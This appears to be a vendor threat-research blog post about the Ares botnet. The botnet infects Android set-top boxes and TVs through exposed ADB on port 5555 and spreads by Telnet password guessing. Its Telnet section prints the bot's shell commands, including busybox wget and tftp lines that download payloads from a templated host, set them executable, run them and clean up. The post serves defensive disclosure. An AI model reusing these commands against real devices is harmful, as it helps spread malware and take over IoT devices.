WootCloud Discovers ARES ADB IOT Botnet Targeting Android Devices especially STBs/ TVs


At WootCloud threat research labs, we continuously invest efforts to unearth new and advanced threats targeting IoT devices. Upon identifying suspicious behavior from Set Top Boxes (STB) via WootCloud’s HyperContext Device Security Solution, WootCloud Labs focussed attention on investigating infected Android Set top boxes. Since then, we have been tracking the state of Android threats and investing efforts on the exploit and misuse of the Android ADB protocol, the communication component which is used by the majority of Android devices and associated client to debug and remotely manage android devices. During our research, WootCloud Labs has discovered the Ares ADB botnet targeting Android-based IoT devices to trigger infections at large scale. Background Information An Android set-top box is a media streaming device for your TV which runs a specialized version of Android OS. These boxes are utilized for streaming media from Netflix, Hulu, and even home media servers.. The number of such devices using Android OS is increasing exponentially. Although Android Operating System (OS) is popularly used in mobile devices, TVs, Set-up-boxes (STBs), smart watches, etc are also running Android OS. Android OS is being used extensively in Internet-of-Things (IOT) devices. With that increased usage of the Android platform, threats are increasing at a rapid pace. Android malware (malicious code in the form of apps) is being designed regularly by the adversaries to keep exploiting the vulnerabilities within android devices and nurturing the power of those devices for unauthorized operations either for money or fun. Recently, researchers have disclosed different threats targeting Android devices such as crypto mining by android malware, espionage-mobile spying by android malware against targeted audience, information stealing android malware and others. During our research, we found that the infected devices were specifically targeting ADB service of the Android OS. Android Debug Bridge (adb) is a primary component that is present in all of the Android devices. ADB comprises of a client, server and the daemon named as adbd. Generally, the adb server runs as process that sets up the communication channel between the client and the daemon. In other words, the adb is a management component (tool) that is used by clients to trigger commands on the device running server and adbd as background processes.

Android Debug Bridge

Threat Profile

The biggest threat associated with the android devices apart from vulnerabilities is the presence of an open and unauthenticated adb service running on the Internet connected devices. When attackers discover TCP port 5555 on the device, they verify and validate the security posture of the service which includes, the authentication and authorization controls structured around it. The majority of the times, it is found that the adb service which is on TCP port 5555, is not only used for debug, but also for remote management operations. If remote management is available via the debug interface, it means that accessing the device through TCP port 5555 results in obtaining shell which allows remote command execution, uploading / downloading of custom applications, data access and others. WootCloud Threat Labs discovered a new Ares botnet and found that the primary vector to infect and spread Ares ADB bot is via the ADB interface. The attack profile we observed have the following sequence of actions: The attackers are exploiting the inherent configuration issue or exposed ADB remote management and debug interface to install Ares bot on the android-based devices -- mainly STBs, and TVs as discovered during the research. Once the Ares bot is installed on the android-based devices, it launch scanners to: fingerprint and detect more android devices via ADB interface Install attacker-specific payloads on the compromised devices to trigger additional set of attacks such as crypt-mining, etc. In the next few sections, we share our analysis of the functionality and nature of the Ares ADB botnet.

Characteristics of Ares ADB Bot

Camouflaged Binary

The ARES bot is camouflaged and distributed as adb binary. Generally, the binary is deployed in the “data/local/tmp” folder for the bot variant in discussion here and allowed to execute via custom script. The screenshots below validates the distribution and installation of Ares bot as camouflaged adb binary. Figure 1 shows the execution output of Ares bot executed from the compromised android device. The output highlights previous instance of the bot is killed and new instance is started accordingly.

Figure 1: Output from the Execution of the Ares bot - Camouflaged ADB binary

Once the Ares bot is executed, it starts triggering ADB scans against TCP port 5555 targeting unique IP addresses as shown in Figure 2.

Figure 2: ADB Scans Triggered by the Ares Bot against TCP port 5555

The Ares bot can copy and write itself to other targeted Android IoT devices running with exposed ADB services. Launching Password Cracking Telnet Scans and Infecting Devices: After the execution of binary, it was also noticed that Ares triggered scanning for exposed Telnet services on the Internet in order to compromise them using password based scanning attempts as shown in Figure 3. The idea is to extend the botnet by including broad-based devices and not only android-based IOT devices. A number of these bots such as Ares provides additional functionality to include different number of devices

Figure 3: Telnet Scanning from Compromised STB/TV Android IoT Devices

The complete process of infecting other devices via Telnet interface from compromised Android device is discussed below:
                        TELNET_READ_IACS : Initiate the Telnet connection thread and detect if Telnet service is
                        TELNET_USER_PROMPT: Detect and obtain the Telnet user prompt and provide username
                        TELNET_PASS_PROMPT: Detect and obtain the Telnet password dprompt and provide password
                        TELNET_WAITPASS_PROMPT: Wait for system prompt after successful login and obtain shell by
                        issuing the following commands:
                        TELNET_READ_WRITEABLE: Once the shell is obtained, perform read write operations. A few examples
                        are shown below:
                        Copying “/bin/busybox” binary into the tmp directories and cleaning afterwards:
                        /bin/busybox rm -rf
                        {tmp directory name}
                            /bin/busybox cp /bin/busybox
                            /bin/busybox chmod 777

                            TELNET_COPY_ECHO: Initiate echo based checks to determine if the above operations have been
                            TELNET_DETECT_ARCH: Once the installation of “busybox” is complete, detect the architecture
                            by using the following command or similar:
                            /bin/busybox cat /proc/cpuinfo || while read i; do echo $i; done < /proc/cpuinfo;
                            TELNET_ARM_SUBTYPE: After the architecture detection is complete then detect the arm
                            architecture subtype
                            TELNET_UPLOAD_METHODS: Once the detection and “busybox” installation is complete, upload
                            binaries (or infection payloads) as follows:
                            /bin/busybox cp
                            /bin/busybox chmod 777
                            /bin/busybox wget http://%s:%d/bins/%s.%s -O
                            /bin/busybox chmod 777
                            /bin/busybox tftp -g -l %s -r %s.%s %s
                            /bin/busybox chmod 777
                            TELNET_RUN_BINARY: Execute the binaries on the compromised IoT device
                            TELNET_CLEANUP: After successful, execution cleanup the files as follows:
                            /bin/busybox rm -rf %s

We have presented a step-by step process to highlight how the successful infections take place via Telnet interface from the compromised android device.

Bypassing Internal IP Address Space:

ARES ADB bot has built-in capability to avoid scanning of specific IP addresses so that only targeted devices or IP addresses can be scanned and compromised to become part of a botnet. This functionality can be customized accordingly whether or not to include the specific IP address ranges. Figure 4 shows the code from the ARES bot.

Figure 4: Inherent Code Used by Ares Bot to Restrict Specific IP Address Ranges

Empirical Experiment : Detecting using Intelligence Based on the intelligence obtained from the research, we triggered very specific scans using indicators of compromise and to no surprise, we did notice hosts serving Ares bot payloads as shown below in Figure :

Figure 5: Ares.x86 Binary Served by Malicious Host

Figure 6: Ares.arm Binary Served by Malicious Host

Additional test highlighted that binaries were packed with UPX packer as shown in Figure 7.

Figure 7: Ares.x86 and Ares.arm Binaries Packed with UPX Packer


Threat Forecast and Intelligence Sharing

As WootCloud is investing efforts in the Android ADB threat research space, we want to reveal this information to the security community so that collective efforts can be made to handle infections of this kind. In this research, we have detected that the Ares bots were found to be running on STBs, TVS. However, looking at threat and inherent capabilities, it seems that the attackers will be targeting more android-based devices such as Phones. The Ares ADB botnet infections have been detected on following brand of devices but not limited to: http://www.hisilicon.com/en/Products/ProductList/STB https://www.amazon.in/Cubetek-Portable-Smart-Android-Dolby/dp/B0744L6WG5 https://qezymedia.com/

Appendix 1: IBM ARES System

On a separate note, it has been noticed that IBM has built a system known as ARES to detect and prevent invasive technique used by mobile malware. Refer here: https://researcher.watson.ibm.com/researcher/view_group.php?id=7552 Ares, a system built on top of an existing behavioral analysis, based on static information-flow analysis, bi- nary instrumentation, and multi execution analysis, to detect and bypass many common evasive techniques used by mobile malware. It’s a trivia that same name “ARES” is used by ADB botnet and also by IBM research team to build protection system: